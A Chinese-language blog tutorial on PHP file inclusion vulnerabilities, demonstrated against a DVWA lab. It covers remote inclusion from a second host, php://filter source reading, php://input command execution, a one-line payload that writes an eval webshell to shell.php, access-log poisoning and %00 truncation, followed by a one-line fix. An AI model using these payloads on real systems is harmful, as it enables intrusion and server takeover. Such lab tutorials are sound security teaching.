文件包含漏洞

2023-09-21 13:35:10

1.文件包含原理

程序在开发的时候,未对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马当作php执行

2.文件包含分类 

  • 本地包含

不需要条件,只要有程序代码漏洞,默认条件就可以包含漏洞

  • 远程包含

需要allow_url_include=on(开启远程包含功能)、magic_quotes_gpc=off(魔术符号关闭)

 http://10.0.0.130:91/123.php?filename=http://192.168.134.1:90/123.jpg
第一个为有包含文件的主机第二个是被攻击的

插入木马可以直接用菜刀连接 

3.包含漏洞里面的四个函数

    include    返回一条警告
    include_once
    除了原有 include 的功能以外,它还会做 once 检测,如果文件曾经已经被被包含过,不再包含
    require      一个致命的错    重要的文件
    require_once
    除了原的功能一外,会做一次 once 检测,防止文件反复被包含

这2个涵数include(),include_once()不重复加载,require()和require_once()遇到错误退出

4.如何快速挖掘包含漏洞 

审计(白盒测试)直接在源代码里搜索这四个函数 include,include_once,require,require_once

渗透测试(黑盒测试)看参数,如果不是脚本的形式被解析成脚本就是有包含函数

5.包含漏洞能做什么 

读文件     有特殊字符一定要转换为baes64

例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
    换为low 

 更改这里,进行编码

修改过后的   php://filter/read=convert.base64-encode/resource=../view_help.php

右边的内容经过base64加密,需要解码

 写文件/命令执行
 注意:只有在allow _url_include为on的时候才可以使用

 http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:<?php system('net user');?>

 执行成功

一句话木马写入方法:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
 写一句话木马

访问的是当前路径(写木马的地址)

直接用菜刀连接即可 

包含绕过

  • 包含日志文件   \logs\access.log

写入一句话要在burp写入,在搜索会被编码
 没有日志文件

配置文件的这两个去掉井号

是空的

 http://10.0.0.130:91/dvwa/%3C?php%20@eval($_POST[%27123%27]);?%3E  传入一句话木马

http://10.0.0.130:91/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

 <?php  phpinfo(); ?>

不会被执行,因为被编码了

 在burp内输入语句

访问日志文件就可以直接访问语句输入的

  • 截断包含(%00)

       这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题

 <?php
    if(isset($_GET['page'])){
        include $_GET['page'] .".php" ;
    }else{
        include 'home.php';
    }
?>
##写入记事本

http://10.0.0.130:91/2.php?page=phpinfo.jpg  进行拼接(无法访问)

  切换低版本

http://10.0.0.130:91/2.php?page=phpinfo.jpg.php

 http://10.0.0.130:91/2.php?page=phpinfo.jpg%00

  •     不同协议绕过

        http/https
        File
        php
        ssh2

 6.修复


 对文件严格过滤,写死

更多推荐

Docker Compose

文章目录简介compose文件一、文件简介二、version三、services1.build:2.image3.container_name4.ports5.command6.depends_on7.deploy8.networks9.volumes四、networks1.name2.driver3.attachab

加速老化测试目的是什么?

加速老化测试使用加速应力的组合来暴露产品设计和制造中的产品缺陷。这有助于提高产品可靠性并减少现场故障和保修费用。加速老化测试在环境室中进行,高温加速有效时间,通常与所有振动台结合使用,产生全轴振动。加速老化测试可分为高加速寿命测试(HALT)和高加速应力筛选(HASS)。这两种技术都使用远远超出产品正常工作条件的应力,

IT隔离电源系统在医院低压配电箱中的应用

【摘要】参考国外及国际对医疗领域的相应标准,结合我国有关的规范%标准,对手术室等处的供配电系统作出了探讨;论述了IT配电系统在医院的应用范围;分析了IT系统接地故障的特点;提出了医院手术室IT电源系统的基本配置。【关键词】手术室配电系统;故障;绝缘监视;漏电198.2138.07290引言*近,本院就北部分院的两百多个

mybatis动态sql&choose&foreach&sql 及include & sql中的特殊字符&后台分页实现& 数据版本号处理并发问题

1.动态sql简述mybatis的动态sql语句是基于OGNL表达式的。可以方便的在sql语句中实现某些逻辑.总体说来mybatis动态SQL语句主要有以下几类:if语句(简单的条件判断)choose(when,otherwize),相当于java语言中的switch,与jstl中的choose很类似trim(对包含的

【Python】基础数据结构:列表——元组——字典——集合

文章目录一、简述二、Python中的列表详解2.1创建列表2.2访问列表元素2.3修改列表元素2.4列表切片2.5列表方法2.6列表推导式三、Python中的元组详解3.1创建元组3.2访问元组元素3.3元组是不可变的3.4元组切片3.5元组方法四、Python中的字典详解4.1创建字典4.2访问字典元素4.3修改字典

IT隔离电源系统在医院电气设计中的应用

【摘要】许多国际标准都对医疗领域,尤其是那些生命攸关的场所,如手术室、重症监护室、心脏监护室等的配电系统作了特殊的规定。现在国际上针对医疗领域中的手术室、ICU、CCU等重要场所通常采用局部“中性点不接地的供电系统”(IEC标准称之为“医疗IT系统”或“隔离电源系统”)供电。文章阐述了IT系统设置的必要性,国内外规范的

机器学习实战:Python基于GBM梯度提升机进行预测(十四)

这篇干货很硬,喜欢的小伙伴点个赞/收藏,持续更新!文章目录1.前言1.1GBM的介绍1.2GBM的应用2.scikit-learn实战演示2.1分类问题2.2回归问题3.GBM超参数3.1决策树数量(n_estimators)3.2样本数量(subsample)3.3特征数量(max_features)3.4学习率(l

lv5 嵌入式开发-3 守护进程

目录1守护进程的概念1.1相关概念1.2举例1.3函数介绍2守护进程的实现2.1简单创建2.2守护进程创建2.3实例掌握:守护进程特点、会话、控制终端、创建守护进程1守护进程的概念守护进程又叫精灵进程(DaemonProcess),它是一个生存期较长的进程,通常独立于控制终端并且周期性地执行某种任务或等待处理某些发生的

zabbix(一)

为什么需要监控?保证业务7*24小时,稳定运行小厂要求满足:99.9%大厂要求满足99.99%提前做监控,只要有问题立马报警,报警需要时间有时候出的故障,故障处理需要时间高可用性99.99%这个很难linux系统oomOutofmemorylinux内核杀掉程序进程,释放内存网速快,网页秒开网速慢,网页超时1M/s10

通讯网关软件008——利用CommGate X2Mysql实现OPC数据转储Mysql

本文介绍利用CommGateX2MYSQL实现从OPCServer读取数据并转储至MYSQL数据库。CommGateX2MYSQL是宁波科安网信开发的网关软件,软件可以登录到网信智汇(http://wangxinzhihui.com)下载。【案例】如下图所示,实现从OPCServer读取数据并转储至MYSQL数据库。【

企业诊断屋:二手车交易平台 APP 如何用 AB 测试赋能业务

更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群2023年汽车行业新车市场低靡,由新车降价引发的车辆价格波动很快传导到二手车市场,二手车的交易也受到了冲击,收车验车更加谨慎,诸多二手交易平台想要保障平台的交易率也变得竞争激烈。二手车交易平台需要吸引各方平台上交易,既要有卖家又要有买家

热文推荐